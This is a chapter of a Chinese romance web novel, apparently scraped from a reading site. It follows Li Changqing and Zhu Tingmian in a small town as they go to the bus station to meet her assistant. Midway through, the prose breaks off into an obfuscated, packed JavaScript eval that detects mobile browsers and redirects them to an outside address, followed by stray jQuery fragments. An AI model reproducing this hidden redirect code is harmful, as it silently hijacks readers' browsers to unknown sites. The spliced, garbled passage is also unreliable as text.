默认冷灰
24号文字
方正启体

10. 苦夏

作者:题叶帖本书字数:K更新时间:
    忙碌又平静地度过了几天。


    太平得像是齐群那件事发生于十年前。


    根据过往经验,李长青为二丫出头后,长则三天,短则半小时,齐群一定要找回场子。


    除了这次,他安静得像是换芯了一样。


    奇了个大怪。


    期间孙明和王天几次试图套话,想知道究竟是多么神奇的句子,可以一举干废齐群。


    可竹听眠只是笑眯眯地扯开话题,李长青更是一问三不知。


    又不可能去找二丫问,两人十分着急于真相。


    隐隐约约,好似日子已经开始变得不一样。


    李长青再次看向手机,确定竹听眠的助理是今天过来。


    如果顺利的话。


    齐群找上门时,李长青刚把衣柜给张婶送过去,折回来发现铺子门口停着辆摩托,齐群蹲在院里抽烟。


    背影很是惆怅。


    李长青和他打了照面,他没有表现出要骂人或者打人的意思,耷眉耸眼抽完那根烟才站起来。


    他喊李长青去厕所。


    李长青当场拒绝,因为洗手台那些瓷盆和管道打坏了不好修。


    可齐群非常坚持,几句话下来,李长青居然惊悚地品出来些恳求的意味。


    这份惊悚在进入厕所之后陡然升级。


    齐群扯开自己的弹力裤腰,示意李长青探头去看小齐,疑似求爱不成感染失心疯。


    作为从小一起长大的朋友,如果还能这么形容的话。毕竟李长青从未觉得他和齐群不共戴天,也能坦然接受齐群合理的恨意。


    不论过往如何,李长青依然希望齐群可以有别的下场,继续当流氓去吃国家饭,或者突然醒悟过来好好做人,总之不该是疯掉。


    他语重心长地劝:“真的不至于。”


    齐群突然抬起脸,“让我看看你的。”


    李长青面无表情地和他对视,然后说:“走,去院子里打。”


    最终也没打成,齐群黯然离开。


    李长青挠挠脑壳,想着要是今天能见着竹听眠,得问问究竟说了什么。


    他如往常一样把老太太的水果车推去镇口,接着去民宿找人,准备商量一下去车站接人的事儿,但王天说早出去溜达了,之后李长青去文化中心也没见到竹听眠。


    已经到了买菜送菜的时间,李长青送到陈家,陈小胖如同往常一样守在侧门。


    今天新酱的肉好,李长青给每一家都买了个酱肘子,陈小胖这里还单独给他带了个卤鸡腿做解馋零食。


    小孩儿喜出望外地接过去表达感谢,李长青捏捏他脸,转头去隔壁赵家给老爷子洗菜刷地。


    再绕出来,意外地发现竹听眠等在外面,手里拿着本该属于陈小胖的鸡腿,吃得很香。


    看见李长青,她愉悦道:“就知道你在这。”


    关于竹听眠的社交能力不分年龄阶段这事儿,李长青早有领教,但是仍然不敢相信她居然连小孩儿的零食都抢。


    李长青表达疑问之后,竹听眠立刻撤回了愉快的笑容,并且大声指责他是在胡说八道,讲自己是拿小蛋糕换的,最后不忘戏谑李长青居然都不知道小孩儿爱吃甜食,真是很不合格的大人。


    行云流水。


    李长青只能顺着她的话说:“是的,我有些考虑不当。”


    “没关系,以后多多注意。”竹听眠当场原谅了他,接着威武地用鸡腿指挥,“快走。”


    虽然本来就打算带她去接人,可李长青突然就不想让她轻易如愿,故意站着没动,问:“为什么?”


    “什么为什么,”竹听眠说,“今天我的助理要来啊,你忘了?忘了也没关系,还好我记得,难道我们不该去接她吗?”


    “是的,应该的,”李长青点头表示肯定,“请问这个流程里我的角色是?”


    “司机。”竹听眠很快回答。


    李长青说不。


    竹听眠眯起眼,“李长青,你今天很叛逆呀。”


    李长青学她的语气:“是的呀。”


    竹听眠立马转身,叼着鸡腿抬着伤手,身残志坚地往摩托上爬,丝毫不担忧连人带车摔倒的可能性,也不知哪来的自信知道李长青一定不会让她摔个四脚朝天。


    这和要不到玩具当街打滚撒泼有什么区别?


    陈小胖都不屑于做这种事儿了。


    李长青只能扶住车,连叹气都来不及。


    他对着啃鸡腿的人低声说话,自言自语一样。


    “你怎么胆子这么大。”


    竹听眠安然坐好,很有礼貌地低声探讨:“那怎么办?”


    夏风拂过两人之间这段距离,闷的、烫的、无解却又拦不住的,又刺又痒的。


    李长青后退一些,“你真的很奇怪。”


    竹听眠又笑着问一遍:“那怎么办?”


    李长青哪知道答案,告诉她:“吃好再走,不然抹我一身油。”


    *


    秋芒镇已经有几个景点体验项目对外开放,山里那个蓝水池子还是比较受欢迎的,近半年来打卡的游客很多,但始终还没正式形成规模,再者大部分都是自驾前来,小镇班车还是服务于本地人员,时间安排极其有个性,早晚都各自有两班来回的,一般坐的都是人。


    午后这班,拉着前村后山的人狗鸡羊,跑个来回,车厢里的味道是桐油在腌菜缸里泡制多年的生活气味,深刻入骨,十分难忘。


    这就是秋芒镇,偶尔现代,时常粗糙,习惯性半死不活。


    据竹听眠本人说,她来的时候坐的就是这个班车,还与隔壁老爷子相谈甚欢,几乎要拜把子。


    她活像个很奇怪的过滤器,能够将任何杂不堪筛住,抖抖摇摇,只给自己留下好东西。


    不记得拥挤难闻的车厢有多难待,却记得一个说话有趣的大爷。


    “看着路。”李长青停好摩托,对四处探头乱看的竹听眠打了个响指。


    成功把马上要踩进沟里这个人的注意力吸引回来。


    竹听眠指着街对面的奶茶店,“走吧,我请你喝东西。”


    李长青付了款,把冰奶茶递过去给她。


    竹听眠接过去道谢,说下次一定会记得带钱出门,吸了一口奶茶,表情果然变得呆滞。


    李长青当然知道班车站门口的奶茶喝起来跟油漆没有区别,又不忍心阻止竹听眠体验,顺理成章地欣赏起她难以下咽的表情。


    他拿了瓶矿泉水,看着发呆的她发了会呆,想起一件事。


    “齐群到底听见什么了?”


    竹听眠反问:“你很关心他?”


    像是还在试图接受奶茶的余韵,声音有些黏连。


    “说不上关心,但也不能看着他这样,”李长青手指骨节扣扣桌子,“我看他状态不太好。”


    竹听眠抬起眉毛,倒是没再说多余的话,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398585|168666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “二丫什么时候出嫁?”


    “下个月初五。”李长青说。


    “那等二丫出嫁之后,我会去和齐群说,别聊了,让我睡会。”竹听眠迅速做出保证,把杯子往前一推,整个人就要趴去桌上。


    店面大门朝向大路,更何况是在车站附近,还有,竹听眠今天又穿了一身白。


    李长青伸手,食指抵在她脑门上,余光看了眼老板的位置,用口型告诉她:“桌子脏。”


    竹听眠被迫因为这根指头而仰着脸,刚才打了个哈欠,困得实在厉害,眼睛眯缝,听不进去任何话的样子。


    李长青试着松点力气,那颗脑袋立马就要往下砸,搞得松手也不是,继续戳着也不太合适。


    “你等一下,”李长青说,“坐好。”


    竹听眠眯着眼看人,展现一种并不领情但也听话的状态。


    李长青今天特意穿得比较正式。


    翻出几乎用不上的网格衬衣,虽然比不了西装,倒也能体现重视,里面还套着T恤。


    把自己的衬衣脱下来,把贴身那面朝上,顶着奶茶店老板刀子一样的目光把衣服垫去桌子上,还没说话,竹听眠立马就把脸埋了进去,脸面向墙壁,脑门和发顶对着李长青。


    她是真的很困,昨夜很努力想要是睡着,结果越努力越心酸,一直清醒到天明,本想着早上好歹能困,兴许能睡两三个小时,又想到很快就要看见小安,各种情绪疯狂在心里产生反应,没能休息一会。


    直到现在,旁边有人陪着,汽油味的奶茶都变得催眠起来,困意上涌,竹听眠不愿意错失良机。


    衣服上干净的、带着体温的肥皂香味让人无比安心。


    竹听眠很快就睡了过去。


    就刚才那么随手一戳,她额前就留了个印子。


    这么娇贵一个人……


    李长青看向她的右手,只瞧得见指头,杏仁型的指甲被修剪得很整齐干净,指形流畅,拥有很漂亮的线条。纱布还是裹得很厚,她应该有按时把自己送去镇医院换药换纱布,但也来了这么些天,还要裹这么厚,没有好转的迹象。


    他对这只右手的观察时间比自己想象中要长,悬在他们头顶的电风扇已转了几十次脑袋。


    “竹听眠?”他轻声喊。


    竹听眠睡得毫不设防,脸侧被挤出个小肉堆,和快要被晒化的棉花糖一样。


    李长青扭开自己没有喝过的矿泉水,倒了一小瓶盖,站起来,弯腰,很细致地沿着竹听眠的嘴角倒了一小条水痕,甚至还用手指抹开。


    很是贴心地为她在衣服上制造了条口水痕。


    又害怕天气热水痕干得快,李长青又严谨地补了两瓶盖。


    电话果然在约定时间响起,李长青有意让它多响了几秒,顺带让竹听眠醒过来。


    “喂,你好?我现在下了车,正在往出站口走,请问我现在应该去哪里找眠姐和你?”


    听声音是个年轻女孩,声音和信息里那股操心劲儿有点对不上。


    李长青告诉她自己会去车站门口等她,挂了电话偏头一瞧,竹听眠脸侧被压得泛红,那一边的头发乱了几缕,困倦地挂在脸边,她还没完全清醒,低着头,迷茫地观察衣服上那条水痕。


    李长青忍着笑,起身交代人:“你醒醒瞌睡,在这等我,别乱跑。”


    竹听眠很慢地点头,依然难以置信地盯着衣服,同时困惑地抬起左手摸了摸脸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)